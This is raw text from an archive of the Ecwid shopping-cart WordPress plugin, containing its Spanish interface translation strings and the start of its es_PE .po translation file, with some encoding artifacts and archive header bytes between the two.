que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PE.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" 